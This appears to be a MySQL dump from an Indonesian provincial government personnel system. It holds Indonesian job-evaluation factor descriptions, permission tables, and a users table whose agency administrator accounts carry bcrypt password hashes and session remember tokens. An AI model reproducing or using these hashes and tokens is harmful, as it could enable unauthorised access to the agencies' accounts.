(79, 'Tingkat faktor 5-2', 75, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan meliputi pelaksanaan peraturan, regulasi, atau prosedur tertentu, dan merupakan bagian dari suatu tugas atau proyek dengan ruang lingkup yang lebih luas.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hasil kerja atau jasa mempengaruhi keakuratan, kelayakan, atau akseptabilitas dari proses atau pelayanan lebih lanjut.</span></span></p>', 19, '2018-10-29 18:39:04', '2018-10-29 18:39:04'),
(80, 'Tingkat faktor 5-3', 150, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan meliputi perlakuan terhadap berbagai macam masalah, pertanyaan, atau situasi&nbsp; konvensional sesuai dengan kriteria yang ditetapkan.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hasil kerja atau jasa mempengaruhi desain atau operasi dari sistem, program, atau peralatan; kelayakan kegiatan seperti investigasi lapangan, pengetesan operasi, atau hasil penelitian; atau kondisi sosial, fisik, dan ekonomi masyarakat.</span></span></p>', 19, '2018-10-29 18:39:33', '2018-10-29 18:39:33'),
(81, 'Tingkat faktor 5-4', 255, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan meliputi penetapan kriteria; memformulasikan proyek; menilai efektifitas program; atau menginvestigasi atau menganalisa berbagai kondisi, masalah, atau pertanyaan yang tidak lazim.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hasil kerja atau jasa mempengaruhi berbagai aktivitas lembaga, aktifitas utama industri, atau operasi instansi lain.</span></span></p>', 19, '2018-10-29 18:40:01', '2018-10-29 18:40:01'),
(82, 'Tingkat faktor 5-5', 325, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan meliputi pengisolasian dan pendefinisian kondisi yang tidak diketahui, pemecahan masalah kritis, atau pengembangan teori baru.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hasil kerja atau jasa mempengaruhi pekerjaan para ahli lainnya, pengembangan aspek utama dari program atau misi pekerjaan administratif atau pengembangan ilmiah atau sifat-sifat dari orang yang banyak.</span></span></p>', 19, '2018-10-29 18:40:33', '2018-10-29 18:40:33'),
(83, 'Tingkat faktor 5-6', 450, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan meliputi perencanaan, pengembangan, dan pelaksanaan program utama pekerjaan administratif atau pengembangan ilmiah.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Program tersebut penting untuk misi suatu lembaga atau mempengaruhi sejumlah besar orang dalam jangka panjang dan berkelanjutan.</span></span></p>', 19, '2018-10-29 18:41:01', '2018-10-29 18:41:01'),
(84, 'Tingkat faktor 6-1', 10, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan pegawai di unit organisasi, kantor, proyek, atau unit kerja, dan di dalam unit pendukung.</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">DAN/ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan anggota masyarakat luas di dalam situasi yang tertentu, antara lain, tujuan hubungan dan dengan siapa berhubungan relatif jelas. Ciri khas hubungan pada tingkat ini hanya pada bagaimana cara memulai hubungan.</span></span></p>', 20, '2018-10-29 19:11:03', '2018-10-29 19:11:03'),
(85, 'Tingkat faktor 6-2', 25, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan pegawai di dalam lembaga yang sama tetapi di luar unit organisasi. Pegawai yang dihubungi biasanya berbeda dalam fungsi, misi, dan jenis kerja, a.l: perwakilan dari berbagai tingkat dalam suatu lembaga, seperti kantor pusat, kantor regional, kantor distrik atau kantor lapangan atau kantor pelaksana lainnya. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">DAN/ATAU</span></span></strong></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan anggota masyarakat sebagai individu atau grup. Contoh, hubungan biasanya ditetapkan atas dasar rutin, biasanya pada ruang kerja pegawai; tujuan dari hubungan tidak jelas pada awalnya untuk satu atau lebih kelompok; dan satu atau lebih pihak tidak terinformasi mengenai peranan dan wewenang maing-masing. Ciri khas hubungan pada tingkat ini adalah dengan orang yang mencari reservasi tiket pesawat atau pelamar kerja pada pusat informasi pekerjaan.</span></span></p>', 20, '2018-10-29 19:12:09', '2018-10-29 19:12:09'),
(86, 'Tingkat faktor 6-3', 60, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan individu atau grup dari luar instansi. Sebagai contoh hubungan yang tidak ditetapkan atas dasar rutin; tujuan dan maksud dari setiap hubungan berbeda; dan peranan dan wewenang masing-masing dikembangkan dan diidentifikasikan selama berhubungan. Ciri khas hubungan dalam tingkat ini adalah orang sebagai pengacara, kontraktor atau perwakilan dari organisasi profesional, media berita atau kelompok aksi masyarakat.</span></span></p>', 20, '2018-10-29 19:13:53', '2018-10-29 19:13:53'),
(87, 'Tingkat faktor 6-4', 110, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan pejabat tinggi dari luar instansi pada level nasional atau internasional, misalnya antara lain, hubungan dengan pejabat yang secara relatif tidak mudah dapat dicapai; pengaturan mungkin harus dibuat untuk menemani anggota staf; penunjukan mungkin dibuat diawal; setiap pihak mungkin sangat tidak jelas peranan atau wewenangnya; dan setiap hubungan mungkin dilaksanakan di bawah peraturan yang berbeda. Ciri khas hubungan pada tingkat ini terdapat pada anggota DPR, pimpinan perwakilan dari pemerintahan luar negeri, pimpinan perusahaan nasional atau internasional, perwakilan media nasional, pimpinan organisasi nasional, gubernur, atau bupati/walikota</span></span></p>', 20, '2018-10-29 19:14:37', '2018-10-29 19:14:37'),
(88, 'Tingkat faktor 7-1', 20, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah untuk memperoleh, mengklarifikasi, atau memberikan fakta atau informasi tanpa menghiraukan sifat fakta tersebut: a.l, fakta atau informasi bervariasi dari yang mudah dimengerti sampai dengan yang sangat teknis.</span></span></p>', 21, '2018-10-29 19:15:49', '2018-10-29 19:15:49'),
(89, 'Tingkat faktor 7-2', 50, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah untuk merencanakan, mengkoordinasikan, atau mengarahkan pekerjaan atau untuk memecahkan masalah dengan mempengaruhi atau memotivasi individu atau kelompok untuk mencapai tujuan bersama dan yang pada dasarnya mempunyai sikap bekerjasama.</span></span></p>', 21, '2018-10-29 19:16:25', '2018-10-29 19:16:25'),
(90, 'Tingkat faktor 7-3', 120, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah untuk mempengaruhi, memotivasi, menginterogasi, mengawasi orang atau group (kelompok). Orang yang dihubungi mungkin penakut, skeptis, tidak mau bekerjasama, atau berbahaya. Pegawai harus mempunyai keahlian dalam mendekati individu atau kelompok untuk mencapai tujuan yang diinginkan, seperti untuk mencapai kesesuaian dengan kebijakan dan peraturan yang ada melalui persuasi atau negosiasi, atau memperoleh informasi dengan membuat laporan kepada informan.</span></span></p>', 21, '2018-10-29 19:16:55', '2018-10-29 19:16:55'),
(91, 'Tingkat faktor 7-4', 220, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah untuk mempertimbangkan, membela, menegosiasi, atau menyelesaikan masalah mengenai hal-hal yang kontroversial atau signifikan. Pekerjaan biasanya mencakup partisipasi aktif dalam konferensi, pertemuan, ceramah, atau presentasi yang meliputi masalah atau persoalan yang sangat penting. Orang yang dihubungi secara khusus mempunyai pandangan, tujuan akhir, dan sasaran yang berbeda, yang membutuhkan pegawai untuk mencapai pengertian umum dari masalah dan solusi yang memuaskan, dengan meyakinkan mereka, pencapaian kompromi, atau pengembangan alternatif yang sesuai.</span></span></p>', 21, '2018-10-29 19:17:24', '2018-10-29 19:17:24'),
(92, 'Tingkat faktor 8-1', 5, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan adalah menetap. Pegawai dapat duduk dengan nyaman untuk melakukan pekerjaan. Walaupun demikian mungkin kadang-kadang berjalan, berdiri, menunduk, membawa benda ringan seperti kertas, buku atau bagian yang kecil; atau mengendarai mobil. Tidak ada persyaratan fisik khusus yang dibutuhkan untuk melaksanakan&nbsp; pekerjaan.</span></span></p>', 22, '2018-10-29 19:18:44', '2018-10-29 19:18:44'),
(93, 'Tingkat faktor 8-2', 20, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan membutuhkan tenaga fisik seperti berdiri dalam waktu yang lama; berjalan di jalan yang kasar, tidak rata, atau permukaan berbatu; aktivitas memerlukan membengkok, meringkuk, membungkuk, merentangkan, mengapai, atau sejenisnya; mengangkat benda yang cukup berat berulang seperti mesin ketik atau kotak dokumen. Pekerjaan tersebut mungkin membutuhkan karakteristik dan kemampuan fisik seperti ketangkasan dan kegesitan di atas rata-rata.</span></span></p>', 22, '2018-10-29 19:20:52', '2018-10-29 19:20:52'),
(94, 'Tingkat faktor 8-3', 50, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan ini membutuhkan tenaga fisik yang besar dan luar biasa seperti sering menaiki tangga yang tinggi, mengangkat benda berat di atas 20 kg, meringkuk atau merangkak di daerah terlarang, dan mempertahankan diri sendiri atau yang lain terhadap serangan fisik.</span></span></p>', 22, '2018-10-29 19:22:10', '2018-10-29 19:22:10'),
(95, 'Tingkat faktor 9-1', 5, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Lingkungan membawa resiko dan ketidaknyamanan setiap hari, yang membutuhkan tindakan pencegahan keamanan khususnya pada tempat-tempat seperti, kantor, ruang rapat dan pelatihan, perpustakaan, perumahan, kendaraan umum, antara lain, penggunaan praktek kerja yang aman pada peralatan kantor, menghindari licin dan jatuh, pengamatan peraturan kebakaran dan tanda lalu lintas. Situasi kerja cukup terang, tidak panas, dan cukup ventilasi.</span></span></p>', 23, '2018-10-29 19:23:36', '2018-10-29 19:23:36'),
(96, 'Tingkat faktor 9-2', 20, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Lingkungan pekerjaan membawa resiko dan ketidaknyamanan yang cukup besar, yang memerlukan tindakan pencegahan keamanan khusus antara lain, bekerja disekitar benda bergerak, kereta, atau mesin; berhadapan dengan penyakit menular atau iritasi bahan kimia. Pegawai dipersyaratkan menggunakan pakaian pelindung, seperti topeng,&nbsp; baju, jaket, sepatu boot, kacamata debu, sarungtangan, atau baju pelindung.</span></span></p>', 15, '2018-10-29 19:24:08', '2018-10-29 19:24:08'),
(97, 'Tingkat faktor 9-3', 50, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Lingkungan pekerjaan membawa resiko tinggi dengan berhadapan pada situasi bahaya&nbsp; yang sangat potensial atau stres lingkungan yang tidak umum, yang mempersyaratkan pengamanan dan tindakan pencegahan antara lain: bekerja pada tempat yang sangat tinggi dibawah kondisi cuaca yang ekstrim, yang memungkinkan serangan fisik, atau situasi sejenis dimana kondisi tidak dapat dikontrol.</span></span></p>', 23, '2018-10-29 19:24:45', '2018-10-29 19:24:45');

-- --------------------------------------------------------

--
-- Table structure for table `sub_position`
--

CREATE TABLE `sub_position` (
  `sub_position_id` int(10) UNSIGNED NOT NULL,
  `position_id` int(10) UNSIGNED NOT NULL,
  `sub_position` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- --------------------------------------------------------

--
-- Table structure for table `sys_modules`
--

CREATE TABLE `sys_modules` (
  `modules_id` int(10) UNSIGNED NOT NULL,
  `module` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `sys_modules`
--

INSERT INTO `sys_modules` (`modules_id`, `module`, `created_at`, `updated_at`) VALUES
(1, 'Level', NULL, NULL),
(2, 'User', NULL, NULL),
(3, 'Agency', NULL, NULL),
(4, 'Organization', NULL, NULL),
(5, 'Employee', NULL, NULL),
(6, 'Job', NULL, NULL),
(7, 'Workload', NULL, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `sys_roles`
--

CREATE TABLE `sys_roles` (
  `roles_id` int(10) UNSIGNED NOT NULL,
  `tasks_id` int(10) UNSIGNED NOT NULL,
  `users_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `sys_roles`
--

INSERT INTO `sys_roles` (`roles_id`, `tasks_id`, `users_id`, `created_at`, `updated_at`) VALUES
(1, 1, 1, NULL, NULL),
(2, 2, 1, NULL, NULL),
(3, 3, 1, NULL, NULL),
(4, 4, 1, NULL, NULL),
(5, 5, 1, NULL, NULL),
(6, 6, 1, NULL, NULL),
(7, 7, 1, NULL, NULL),
(8, 8, 1, NULL, NULL),
(9, 9, 1, NULL, NULL),
(10, 10, 1, NULL, NULL),
(11, 11, 1, NULL, NULL),
(12, 12, 1, NULL, NULL),
(13, 13, 1, NULL, NULL),
(14, 14, 1, NULL, NULL),
(15, 15, 1, NULL, NULL),
(16, 16, 1, NULL, NULL),
(17, 17, 1, NULL, NULL),
(18, 18, 1, NULL, NULL),
(19, 19, 1, NULL, NULL),
(20, 20, 1, NULL, NULL),
(21, 21, 1, NULL, NULL),
(22, 22, 1, NULL, NULL),
(23, 23, 1, NULL, NULL),
(24, 24, 1, NULL, NULL),
(25, 25, 1, NULL, NULL),
(26, 26, 1, NULL, NULL),
(27, 27, 1, NULL, NULL),
(28, 28, 1, NULL, NULL),
(29, 29, 1, NULL, NULL),
(30, 30, 1, NULL, NULL),
(31, 31, 1, NULL, NULL),
(32, 32, 1, NULL, NULL),
(33, 33, 1, NULL, NULL),
(34, 34, 1, NULL, NULL),
(35, 35, 1, NULL, NULL),
(36, 1, 2, NULL, NULL),
(37, 2, 2, NULL, NULL),
(38, 3, 2, NULL, NULL),
(39, 4, 2, NULL, NULL),
(40, 5, 2, NULL, NULL),
(41, 6, 2, NULL, NULL),
(42, 7, 2, NULL, NULL),
(43, 8, 2, NULL, NULL),
(44, 9, 2, NULL, NULL),
(45, 10, 2, NULL, NULL),
(46, 11, 2, NULL, NULL),
(47, 12, 2, NULL, NULL),
(48, 13, 2, NULL, NULL),
(49, 14, 2, NULL, NULL),
(50, 15, 2, NULL, NULL),
(51, 16, 2, NULL, NULL),
(52, 17, 2, NULL, NULL),
(53, 18, 2, NULL, NULL),
(54, 19, 2, NULL, NULL),
(55, 20, 2, NULL, NULL),
(56, 21, 2, NULL, NULL),
(57, 22, 2, NULL, NULL),
(58, 23, 2, NULL, NULL),
(59, 24, 2, NULL, NULL),
(60, 25, 2, NULL, NULL),
(61, 26, 2, NULL, NULL),
(62, 27, 2, NULL, NULL),
(63, 28, 2, NULL, NULL),
(64, 29, 2, NULL, NULL),
(65, 30, 2, NULL, NULL),
(66, 31, 2, NULL, NULL),
(67, 32, 2, NULL, NULL),
(68, 33, 2, NULL, NULL),
(69, 34, 2, NULL, NULL),
(70, 35, 2, NULL, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `sys_tasks`
--

CREATE TABLE `sys_tasks` (
  `tasks_id` int(10) UNSIGNED NOT NULL,
  `modules_id` int(10) UNSIGNED NOT NULL,
  `tasks` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `sys_tasks`
--

INSERT INTO `sys_tasks` (`tasks_id`, `modules_id`, `tasks`, `created_at`, `updated_at`) VALUES
(1, 1, 'list', NULL, NULL),
(2, 1, 'create', NULL, NULL),
(3, 1, 'edit', NULL, NULL),
(4, 1, 'view', NULL, NULL),
(5, 1, 'delete', NULL, NULL),
(6, 2, 'list', NULL, NULL),
(7, 2, 'create', NULL, NULL),
(8, 2, 'edit', NULL, NULL),
(9, 2, 'view', NULL, NULL),
(10, 2, 'delete', NULL, NULL),
(11, 3, 'list', NULL, NULL),
(12, 3, 'create', NULL, NULL),
(13, 3, 'edit', NULL, NULL),
(14, 3, 'view', NULL, NULL),
(15, 3, 'delete', NULL, NULL),
(16, 4, 'list', NULL, NULL),
(17, 4, 'create', NULL, NULL),
(18, 4, 'edit', NULL, NULL),
(19, 4, 'view', NULL, NULL),
(20, 4, 'delete', NULL, NULL),
(21, 5, 'list', NULL, NULL),
(22, 5, 'create', NULL, NULL),
(23, 5, 'edit', NULL, NULL),
(24, 5, 'view', NULL, NULL),
(25, 5, 'delete', NULL, NULL),
(26, 6, 'list', NULL, NULL),
(27, 6, 'create', NULL, NULL),
(28, 6, 'edit', NULL, NULL),
(29, 6, 'view', NULL, NULL),
(30, 6, 'delete', NULL, NULL),
(31, 7, 'list', NULL, NULL),
(32, 7, 'create', NULL, NULL),
(33, 7, 'edit', NULL, NULL),
(34, 7, 'view', NULL, NULL),
(35, 7, 'delete', NULL, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int(10) UNSIGNED NOT NULL,
  `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `username` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL,
  `password` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `level_id` int(10) UNSIGNED NOT NULL DEFAULT 1,
  `remember_token` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `name`, `username`, `email`, `password`, `level_id`, `remember_token`, `created_at`, `updated_at`) VALUES
(1, 'Super Admin', 'devadm', 'devadm@sipeg.com', '$2y$10$GWyccDF/0bFLezE6JKmz9uVtOV5B3gz1d2u8QRaI1abSlB.PiZNyG', 1, 'DoaoX0XpcSH7LRZNcVNKOPyk89socuN8dwxK4chNWxkYm8h8CWq1TJZfQRtt', NULL, NULL),
(2, 'Admin', 'admin', 'admin@sipeg.com', '$2y$10$wJC1FX2PuDViZUfeR1xbju.uuRJOyKQx7dZ/zlT0bjtw23/O.prle', 2, 'TKCcluUxdB2NlGUMGsT0DvzwmLmTaynPl19BGY9xqxStAtyJLcYEdgUPBkyF', NULL, NULL),
(3, 'Admin SIJ', 'admsij', 'adm@sij.com', '$2y$10$XcYo9BUh3IymZIKfexNOTOgtn11SsZg6NdnxqhmqKA438mWjsw9h6', 2, 'QBbTJEM6mOIcUGL93A2u6C68o3g1aDyw007kv31NKRl0iSB9pfQUQrXJjcnQ', '2018-09-16 05:42:19', '2018-09-16 05:42:19'),
(4, 'Biro Pemerintahan dan Kerjasama', 'admbpk', 'admbpk@sipeg.com', '$2y$10$Z6TNdol8K7AQDUQ5YWuiee8gOouu0L7Qlhmk3gfikVG.W.b10gTaq', 2, 'rUKXELIhGFJXGW9MH3kQQqvc0pktPBNlkZ2BCCvstO7nGHjAA01IiWf3b5Zi', '2018-12-11 05:00:46', '2018-12-11 05:00:46'),
(5, 'Biro Hukum dan HAM', 'admbhh', 'admbhh@sipeg.com', '$2y$10$rbBnI94nPsNjnQheUNciX.ueJVisxaBMsOR1n5yGuiQggDWOE8UMS', 2, 'yTe9QvRWH0ORK1eXwYRc88jUsomW4AbvK6QDohEQHfn4zskXdShKYpyc53wf', '2018-12-11 05:01:51', '2018-12-11 05:01:51'),
(6, 'Biro Pelayanan dan Pengembangan Sosial', 'admbpps', 'admbpps@sipeg.com', '$2y$10$JZ3X7C06TDSwrpon75w2eOoteFpqyEt5/bEns8yBsa8GzaTO71qAW', 2, '6HCt5DZAE3numjlC5JiVkniIsKzkL7Ab6DWEo7pvA25XBnwEFKfi8AGYax99', '2018-12-11 05:02:44', '2018-12-11 05:02:44'),
(7, 'Biro Sarana Perekonomian Investasi dan BUMD', 'admbspi', 'admbspi@sipeg.com', '$2y$10$cCyJotDLW8wV1BlNw98PJOEK0XRibDuzaeDgLgzy1rzhXLneZg56q', 2, NULL, '2018-12-11 05:04:24', '2018-12-11 05:04:24'),
(8, 'Biro Produksi dan Industri', 'admbpi', 'admbpi@sipeg.com', '$2y$10$zvl6VLlt9bUAVWaPaTEcKubMM11ESfOaCFTvVOzA0vux.vIk8G/NS', 2, NULL, '2018-12-11 05:05:19', '2018-12-11 05:05:19'),
(9, 'Biro Pengendalian Pembangunan', 'admbpp', 'admbpp@sipeg.com', '$2y$10$Bc7HbKDG7QhM6ht32uGXtewOOLitZdkpuaH9dFLfgIzSy4rZ7A0EO', 2, 'wnwsxBXLATAIxE8HFJivATVTSjyz3ECYTt3dIAQmBwFEOhS9Q2ehUxLV3swt', '2018-12-11 05:14:04', '2018-12-11 05:14:04'),
(10, 'Biro Organisasi', 'admbo', 'admbo@sipeg.com', '$2y$10$Mzbre2L531C97VVhoqbTPOr4RP/SxEvqJGcYlqgKTq258ekSeFd16', 2, 'fEu5Gn5IGGcbreoGEkVfc5XpGH8IFJEcJalMZcvkOexz3WA1GHYpRysPYiVB', '2018-12-11 05:14:57', '2018-12-11 05:14:57'),
(11, 'Biro Hubungan Masyarakat dan Protokol', 'admbhmp', 'admbhmp@sipeg.com', '$2y$10$6oGhB4ebFXNvDmO/on4pAun1BR8NL2K65XKESmWASWEq5k2FXQtLG', 2, 'Ku6vMgMWP4HyaSEYBVHrfQs97Ynwzw4wCVrxx4oy9eezycotei82G4XStuwp', '2018-12-11 05:15:47', '2018-12-11 05:15:47'),
(12, 'Biro Umum', 'admbu', 'admbu@sipeg.com', '$2y$10$0tj6Iejtzsa/hLH/CoTVJ.wSyBYfda15ztd9rGHyqctry5X.v6lfy', 2, 'mZBk2vwEitRHUyatJUZucIVv5eqXW5LoayZtk6X3disc4mLymX61Eyr7fwjS', '2018-12-11 05:16:22', '2018-12-11 05:16:22'),
(13, 'Sekretariat DPRD', 'admsdprd', 'admsdprd@sipeg.com', '$2y$10$fKAA7A8mi35i8f8OR7dk8OGR8xD6pFc4/fLBnxqf0.fJZa9fDXIAa', 2, NULL, '2018-12-11 05:17:18', '2018-12-11 05:17:18'),
(14, 'Inspektorat Provinsi Jawa Barat', 'admipjb', 'admipjb@sipeg.com', '$2y$10$aZ.57DAKpJwsS.wfdq/BmOkh8FAWjhaBd8feTnLo8Waa/kZVA1HY2', 2, NULL, '2018-12-11 05:41:47', '2018-12-11 05:41:47'),
(15, 'Dinas Kesehatan', 'admdk', 'admdk@sipeg.com', '$2y$10$nZgKSoqILskAlHUf9SHiR.gAUWzaAk/CMbJL0jUC/tXs75v09mc2K', 2, 'CWH6TXjuXutQT7hBUAjsmfQeMdXkMdHajelXIxw4LC0eTa07zClDRIyX5r7S', '2018-12-11 05:46:46', '2018-12-11 05:46:46'),
(16, 'Dinas Pendidikan', 'admdp', 'admdp@sipeg.com', '$2y$10$uTZNm/Rh9qf70vO8g5kfOeCVw9W0fkuh5dxWzKAlNnKRVgx9t6Iuq', 2, NULL, '2018-12-11 05:47:26', '2018-12-11 05:47:26'),
(17, 'Dinas Bina Marga Dan Penataan Ruang', 'admdbmpr', 'admdbmpr@sipeg.com', '$2y$10$RdcRqg7z9mqeuxKTZZJvN.0noHfIgUzHavByd0m7eoY2sIHMvDOU6', 2, NULL, '2018-12-11 05:48:26', '2018-12-11 05:48:26'),
(18, 'Dinas Sumber Daya Air', 'admsda', 'admsda@sipeg.com', '$2y$10$ccoO/reMx2Wz0P0qFDGpC.nkdM73GiCQeXzPWmXy/Mh0oROSM7Wnm', 2, NULL, '2018-12-11 05:51:24', '2018-12-11 05:51:24'),
(19, 'Dinas Perumahan dan Permukiman', 'admdpp', 'admdpp@sipeg.com', '$2y$10$TYxKzJuoe8V4cCdE/z7kCOxRjm6BtinE/q9YG6byuk.PnBsVMbWey', 2, NULL, '2018-12-11 05:54:05', '2018-12-11 05:54:05'),
(20, 'Pelaksana Satuan Polisi Pamong Praja', 'admpsppp', 'admpsppp@sipeg.com', '$2y$10$9Q7FoLvFWr8d8pA8vdhjv.Wm7k8.L8ejE.fgCkBLCM30RklUDI2n6', 2, 'lupW9WMXFu1nmC2M9N9X8q54YEjtAJzxr517Puv9y8qLz22dOOSBMGZPLbmt', '2018-12-11 05:54:52', '2018-12-11 05:54:52'),
(21, 'Dinas Sosial', 'admds', 'admds@sipeg.com', '$2y$10$Y.KMUwfwr06NZH5dmvvcN.3fOwJQ.ARuJC78V0uy2Lvry3vbnH9Xq', 2, 'zykHsQu8pZMJPKvncIhwIzCO4NkqsGfAgg0YSoOs4iChVyQpl080oaG9ru1l', '2018-12-11 05:55:54', '2018-12-11 05:55:54'),
(22, 'Dinas Pemberdayaan Perempuan perlindungan Anak dan Keluarga Berencana', 'admdpppakb', 'admdpppakb@sipeg.com', '$2y$10$62hirKJNFAALJcWUUK0LeOO1UTip5Y1BfpWnpy7X/It9NlZkw7L2W', 2, 'fG0Z31jHNQYcNlGfsXR2prF5sc5ZE7YFsYIG240wW7WrOjjVMECdc94X24wc', '2018-12-11 05:56:34', '2018-12-11 05:56:34'),
(23, 'Dinas Lingkungan Hidup', 'admdlh', 'admdlh@sipeg.com', '$2y$10$SgbxpOOaXYiAYQUfWSgf2.zKN9V.e4xbbIv1o/6WT0mdbbjabK3cm', 2, NULL, '2018-12-11 05:58:04', '2018-12-11 05:58:04'),
(24, 'Dinas Pemberdayaan Masyarakat dan Desa', 'admdpmd', 'admdpmd@sipeg.com', '$2y$10$d4N6u7AwUqZAlRa0m2bKW.aAvT8ygCMwztnwdg0unXotizZTLUrTO', 2, NULL, '2018-12-11 05:59:15', '2018-12-11 05:59:15'),
(25, 'Dinas Perhubungan', 'admdpe', 'admdpe@sipeg.com', '$2y$10$vOloGgmqHncSRn2pzDDu5.eEhbO.729t192WG7klW/FMQ8o21pC7W', 2, NULL, '2018-12-11 06:06:46', '2018-12-11 06:06:46'),
(26, 'Dinas Komunikasi dan Informatika', 'admdki', 'admdki@sipeg.com', '$2y$10$QKFZSo9Fkj0s5f8zfKBn7uUtJURyuIS6xsd0nuDMEP/XdZvhksvsy', 2, NULL, '2018-12-11 06:07:25', '2018-12-11 06:07:25'),
